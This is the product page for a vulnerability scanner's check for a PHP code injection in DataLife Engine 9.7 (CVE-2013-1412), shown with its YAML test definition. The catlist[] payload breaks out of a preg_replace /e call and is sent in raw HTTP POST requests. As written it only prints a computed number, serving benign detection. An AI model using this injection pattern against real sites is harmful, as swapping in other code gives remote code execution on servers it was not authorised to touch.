DataLife Engine — 1 vulnerability check

noctis ships 1 vulnerability check for DataLife Engine, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

DataLife Engine engine/preview.php catlist PHP code injection

CVECVE-2013-1412
Severityhigh · CVSS 7.5
Categoryrce — Remote code execution
Serviceshttp, https
Detectionscript, set_var, tcp_connect, match · highest QoD 97
Feedtests/vulnerabilities/datalife-engine/CVE-2013-1412.yaml

Detects the PHP code injection in DataLife Engine (DLE) 9.7. engine/preview.php passes the catlist[] POST parameter to a preg_replace() call using the /e modifier, so a value that closes the quoted argument runs as PHP. The test posts catlist[0]=catlist[0]=<x>')||print(A*B);// with two random integers to /engine/preview.php and /datalife/engine/preview.php; the reply contains the product A*B, which the request does not contain. The injected code only prints a number; nothing is written on the server.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. Raw TCP (TLS on HTTPS), sent verbatim: POST /engine/preview.php HTTP/1.0
  3. Parses / computes the next value with a Rhai script
  4. Checks v1 for ^CODE_EXECUTED$ → finding QoD 97: DataLife Engine preview.php evaluates PHP code from catlist — CVE-2013-1412
  5. Raw TCP (TLS on HTTPS), sent verbatim: POST /datalife/engine/preview.php HTTP/1.0
  6. Parses / computes the next value with a Rhai script
  7. Checks v2 for ^CODE_EXECUTED$ → finding QoD 97: DataLife Engine preview.php evaluates PHP code from catlist — CVE-2013-1412

References:

Feed source — tests/vulnerabilities/datalife-engine/CVE-2013-1412.yaml
# DataLife Engine 9.7 — engine/preview.php feeds the catlist[] parameter to a
# preg_replace() call with the /e modifier, so a quote-and-paren breakout runs
# PHP code (CVE-2013-1412).
#
# Detection (benign, nothing is written): POST engine/preview.php with
# catlist[0]=catlist[0]=<x>')||print(A*B);// for two random integers. PHP evaluates the
# product and prints it in the reply; the request never contains the product,
# so seeing it proves the evaluation (QoD 97). The product is printed as a
# plain number, so no quote character is added to the injection.
#
# Improvements over the source NASL (which calls phpinfo() and matches the
# "<title>phpinfo()" page): the proof is a computed value, so it works when
# phpinfo() is disabled and cannot be forged by a page that merely echoes the
# request; both /engine/preview.php and /datalife/engine/preview.php are tried.
#
# Ported from OpenVAS/Greenbone NVT 2013/gb_datalife_57603.nasl (GPL-2.0-only).
uid: 5c3e1d0a-96f4-4f0b-b8a3-7a2d9e4c1b57
name: "DataLife Engine engine/preview.php catlist PHP code injection (CVE-2013-1412)"
description: |
  Detects the PHP code injection in DataLife Engine (DLE) 9.7. engine/preview.php
  passes the catlist[] POST parameter to a preg_replace() call using the /e
  modifier, so a value that closes the quoted argument runs as PHP. The test
  posts catlist[0]=catlist[0]=<x>')||print(A*B);// with two random integers to
  /engine/preview.php and /datalife/engine/preview.php; the reply contains the
  product A*B, which the request does not contain. The injected code only
  prints a number; nothing is written on the server.
cves: [CVE-2013-1412]
cvss: 7.5  # NVD publishes only a CVSS v2 base score (7.5) for this CVE
severity: high
category: rce
confidence_base: 0.30
tags: [datalife-engine, dle, php, preg-replace-e, code-injection, rce, intrusive]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2013-1412"
  - "https://www.securityfocus.com/bid/57603"
  # OpenVAS/Greenbone NASL 2013/gb_datalife_57603.nasl (GPL-2.0-only)

steps:
  - id: gen-proof
    action: script
    code: |
      let a = rand_int(10007, 46000);
      let b = rand_int(10007, 46000);
      let body = "catlist[0]=catlist%5B0%5D%3Dx%27%29%7C%7Cprint%28" + a + "%2A" + b + "%29%3B%2F%2F";
      #{ a: "" + a, b: "" + b, prod: "" + (a * b), len: "" + strlen(body), body: body }
    store_as: sc

  - id: init-r1
    action: set_var
    var_name: r1
    var_value: {connected: false, banner: ""}

  - id: init-r2
    action: set_var
    var_name: r2
    var_value: {connected: false, banner: ""}

  - id: run-root
    action: tcp_connect
    port: "{{port}}"
    send: "POST /engine/preview.php HTTP/1.0\r\nHost: {{target_host}}\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: {{sc.len}}\r\n\r\n{{sc.body}}"
    timeout_secs: 10
    store_as: r1

  - id: verdict-root
    action: script
    code: |
      let v = "";
      if type_of(r1.banner) == "string" && ereg("(^|[^0-9])" + sc.prod + "([^0-9]|$)", r1.banner) { v = "CODE_EXECUTED"; }
      v
    store_as: v1

  - id: root-confirmed
    action: match
    source: v1
    pattern: '^CODE_EXECUTED$'
    on_match:
      finding:
        title: "DataLife Engine preview.php evaluates PHP code from catlist — CVE-2013-1412"
        description: "POST /engine/preview.php with catlist[0] carrying print({{sc.a}}*{{sc.b}}) made PHP evaluate the injected code and the reply contained {{sc.prod}}, which the request does not contain. A remote user can run arbitrary PHP code with the rights of the web server."
        remediation: "Upgrade DataLife Engine to a release later than 9.7 that no longer evaluates user input in preview.php."
        confidence_delta: 0.65
        qod: 97
        evidence: "/engine/preview.php catlist[0] print({{sc.a}}*{{sc.b}}) returned {{sc.prod}}"
      stop: true

  - id: run-dir
    action: tcp_connect
    port: "{{port}}"
    send: "POST /datalife/engine/preview.php HTTP/1.0\r\nHost: {{target_host}}\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: {{sc.len}}\r\n\r\n{{sc.body}}"
    timeout_secs: 10
    store_as: r2

  - id: verdict-dir
    action: script
    code: |
      let v = "";
      if type_of(r2.banner) == "string" && ereg("(^|[^0-9])" + sc.prod + "([^0-9]|$)", r2.banner) { v = "CODE_EXECUTED"; }
      v
    store_as: v2

  - id: dir-confirmed
    action: match
    source: v2
    pattern: '^CODE_EXECUTED$'
    on_match:
      finding:
        title: "DataLife Engine preview.php evaluates PHP code from catlist — CVE-2013-1412"
        description: "POST /datalife/engine/preview.php with catlist[0] carrying print({{sc.a}}*{{sc.b}}) made PHP evaluate the injected code and the reply contained {{sc.prod}}, which the request does not contain. A remote user can run arbitrary PHP code with the rights of the web server."
        remediation: "Upgrade DataLife Engine to a release later than 9.7 that no longer evaluates user input in preview.php."
        confidence_delta: 0.65
        qod: 97
        evidence: "/datalife/engine/preview.php catlist[0] print({{sc.a}}*{{sc.b}}) returned {{sc.prod}}"
      stop: true

View these feeds on GitHub